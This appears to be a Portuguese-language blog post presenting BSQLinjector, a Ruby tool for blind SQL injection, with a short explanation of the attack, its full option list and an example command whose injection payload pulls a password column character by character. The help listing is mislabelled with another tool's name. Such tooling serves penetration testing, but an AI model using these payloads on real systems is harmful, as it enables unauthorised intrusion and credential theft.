BSQLinjector – Blind SQL Injection Tool Download in Ruby

Leia também

Anon

BSQLinjector é um fácil de usar ferramenta Blind SQL Injection em Ruby, que usa métodos cegos para recuperar dados de bancos de dados SQL. O download está abaixo.

O autor recomenda usar a opção “ --test” para ver claramente como a carga configurada se parece antes de enviá-la para um aplicativo.

O que é injeção de SQL cego?

O Blind SQL Injection é um tipo de ataque SQL Injection (SQLi) que solicita ao banco de dados perguntas verdadeiras ou falsas e determina a resposta com base na resposta do aplicativo. Esse ataque geralmente é usado quando o aplicativo da Web é configurado para mostrar mensagens de erro genéricas, mas não atenua o código que é vulnerável à injeção de SQL.

Usando o BSQLinjector para injeção de SQL 

root: ./gobuster -help
 --file     Mandatory - File containing valid HTTP request and SQL injection point (SQLINJECT). (--file=/tmp/req.txt)
  --pattern     Mandatory - Pattern to look for when query is true. (--pattern=truestatement)
  --prepend     Mandatory - Main payload. (--prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password,"
  --append     How to end our payload. For example comment out rest of SQL statement. (--append='#)
  --schar     Character placed around chars. This character is not used while in hex mode. (--schar="'")
  --2ndfile     File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
 
  --mode     Blind mode to use - (between - b (generates less requests), moreless - a (generates less requests by using "<", ">", "=" characters), like - l (complete bruteforce), equals - e (complete bruteforce)). (--mode=l)
  --hex      Use hex to compare instead of characters.
  --case     Case sensitivity.
 
  --ssl      Use SSL.
  --proxy     Proxy to use. (--proxy=127.0.0.1:8080)
 
  --test     Enable test mode. Do not send request, just show full payload.
  --special     Include all special characters in enumeration.
  --start     Start enumeration from specified character. (--start=10)
  --max      Maximum characters to enumerate. (--max=10)
  --timeout     Timeout in waiting for responses. (--timeout=20)
  --only-final Stop showing each enumerated letter.
  --comma     Encode comma.
  --bracket     Add brackets to the end of substring function. --bracket="))"
  --hexspace Use space instead of brackets to split hex values.
  --verbose     Show verbose messages.

Exemplo de uso:

 ruby ./BSQLinjector.rb --pattern=truestatement --file=/tmp/req.txt --schar="'" --prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password," --append="'#" --ssl

A mais famosa ferramenta de injeção de SQL cega seria definitivamente o sqlmap, que a automatiza .

Você pode baixar o BSQLinjector aqui:

BSQLinjector.rb

Ou leia mais aqui .